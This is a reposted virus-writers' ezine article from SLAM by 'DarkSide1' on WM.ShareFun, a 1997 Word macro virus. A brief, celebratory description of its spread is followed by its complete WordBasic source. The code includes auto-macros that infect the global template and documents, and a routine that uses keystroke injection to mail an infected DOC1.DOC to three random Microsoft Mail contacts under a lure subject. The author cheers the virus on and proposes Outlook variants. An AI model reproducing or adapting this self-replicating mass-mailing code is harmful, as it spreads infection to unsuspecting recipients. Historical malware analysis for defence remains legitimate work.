SLAM3.022: WordMacro.ShareFun Virus Analysis by DarkSide1 [SLAM]

eZine lover (@eZine)

Published in

Slam

· 26 Feb 2022

WordMacro.ShareFun Virus Analysis

WM.ShareFun was found in the wild from USA in February 1997. Have specific macros to work under Micro$oft Word english version, of course have automatic macros to spread.

ShareFun have the following nine encrypted macros:

AutoExec
AutoOpen
FileExit
FileOpen
FileSave
FileClose
ToolsMacro
ShareTheFun
FileTemplates

ShareFun is a WordMacro of 1777 bytes based on our old know Wazzu. It attempts to spread over e-mail attachments using Micro$oft Mail. When an infected document is opened, there is a 25% of chance the virus will activate.

It Share the fun :) when check if M$ Mail is running (using AppIsRunning), ShareFun attempts to send e-mail messages to three random people listed in your local M$ Mail alias list. The same subject for the three messages are:

You have GOT to read this!

The message will contain only a file attachment called DOC1.DOC, of course is infected by the virus :). The document itself is the document that user happened to have open when the virus activated. Sure, if the receiver don't know what's a macrovirus ;-) and double-clicks on the attachment, he will get infected by the virus and will spread the infection further with his own M$ Mail.

The name of the virus "ShareFun" is taken from the virus itself. It's macro called ShareTheFun...hummm Where's CARO ;-)))

To eat Sharefun and future variants, Micro$oft introduce Outlook on Internet Explorer 4.0 like a new e-mail client. Hehehe no problem... other stuff is make variants to run if Outlook is running! :-)

And now the source is here!

======================begin WM.ShareFun=================== 
---------------------------------------------------------- 
Macro name: AutoExec 
---------------------------------------------------------- 
Sub MAIN 
	REM d i n g o a c k 
	REM     DisableAutoMacros 
End Sub 

 
---------------------------------------------------------- 
Macro name: AutoOpen 
---------------------------------------------------------- 
Sub MAIN 
	On Error Goto errCt 

	ToolsOptionsSave .GlobalDotPrompt = 0 
	DisableAutoMacros 0 

	SaveAll 
	StartOfDocument 
	If Int(Rnd() * 4) + 1 = 3 Then ShareTheFun 

ErrCt: 
bye: 
	On Error Goto 0 

End Sub 

Sub SaveAll 
	On Error Goto errsaving 
	ToolsOptionsSave .GlobalDotPrompt = 0 
	DisableAutoMacros 0 

	SaveMacros "autoOpen" 
	SaveMacros "FileClose" 
	SaveMacros "AutoExec" 
	SaveMacros "FileExit" 
	SaveMacros "FileSave" 
	SaveMacros "FileOpen" 
	SaveMacros "FileTemplates" 
	SaveMacros "ToolsMacro" 
	SaveMacros "ShareTheFun" 

	FileSummaryInfo .Update 
	Dim dlg As FileSummaryInfo 
	GetCurValues dlg 

	MacroFile$ = UCase$(Right$(MacroFileName$(MacroName$(0)), 10)) 

	If MacroFile$ = "NORMAL.DOT" Then FileSaveAs .Format = 1 

	StartOfDocument 
errsaving: 
	On Error Goto 0 
End Sub 

Sub SaveMacros(M$) 
	On Error Goto cantsave 
	FileSummaryInfo .Update 
	Dim dlg As FileSummaryInfo 
	GetCurValues dlg 

	fileMacro$ = dlg.Directory + "\" + dlg.FileName + ":" + M$ 
	globMacro$ = "Global:" + M$ 
	MacroFile$ = UCase$(Right$(MacroFileName$(MacroName$(0)), 10)) 

	If MacroFile$ = "NORMAL.DOT" Then 
		MacroCopy globMacro$, fileMacro$, 1 
	Else 
		MacroCopy fileMacro$, globMacro$, 1 
	End If 
	StartOfDocument 
cantsave: 
On Error Goto 0 
End Sub 

 
---------------------------------------------------------- 
Macro name: FileExit 
---------------------------------------------------------- 
Sub MAIN 
	On Error Resume Next 
	autoOpen.SaveAll 
	FileExit Save 
	On Error Goto 0 
End Sub 

 
---------------------------------------------------------- 
Macro name: FileOpen 
---------------------------------------------------------- 
Sub MAIN 
	autoOpen.SaveAll 
	On Error Goto cancelled 
	Dim dlg As FileOpen 
	GetCurValues dlg 
	Dialog dlg 
	FileOpen dlg 
cancelled: 
On Error Goto 0 
End Sub 

 
---------------------------------------------------------- 
Macro name: FileSave 
---------------------------------------------------------- 
Sub MAIN 
	On Error Resume Next 
	autoOpen.SaveAll 
	FileSave 
	On Error Goto 0 
End Sub 

 
---------------------------------------------------------- 
Macro name: FileClose 
---------------------------------------------------------- 
Sub MAIN 
	On Error Resume Next 
	autoOpen.SaveAll 
	FileClose 
	On Error Goto 0 
End Sub 

 
---------------------------------------------------------- 
M\acro name: ToolsMacro 
---------------------------------------------------------- 
Sub MAIN 
autoOpen.saveall 
Beep 
End Sub 

 
---------------------------------------------------------- 
Macro name: ShareTheFun 
---------------------------------------------------------- 
Sub MAIN 
On Error Goto errsending 
	FileSaveAs .Name = "c:\doc1.doc", .Format = 1 
	If AppIsRunning("Microsoft Mail") Then 
		AppActivate "Microsoft Mail" 
	Else 
		ExitWindows 
	End If 
	SendKeys "{enter}" 
	SendKeys "%MN" 

	PickName 
	PickName 
	PickName 

	SendKeys "{TAB}{TAB}You have GOT to read this!{TAB}" 
	SendKeys "%Ac:\doc1.doc{ENTER}%o" 
	SendKeys "%S", - 1 
	SendKeys "%Vn", - 1 
	SendKeys "%Vn", - 1 
	AppClose "Microsoft Mail" 

errsending: 
	On Error Goto 0 
End Sub 

Sub PickName 
On Error Goto woops 
	n$ = "," + Chr$(Int(Rnd() * 25) + 65) 
	SendKeys n$ + "%K", - 1 
	dn = Int(Rnd() * 6) 
	For d = 1 To dn 
		SendKeys "{down}" 
	Next d 
	SendKeys "{ENTER}", - 1 
woops: 
	On Error Goto 0 
End Sub 

---------------------------------------------------------- 
Macro name: FileTemplates 
---------------------------------------------------------- 
Sub MAIN 
autoOpen.saveall 
Beep 
End Sub 

======================end WM.ShareFun===================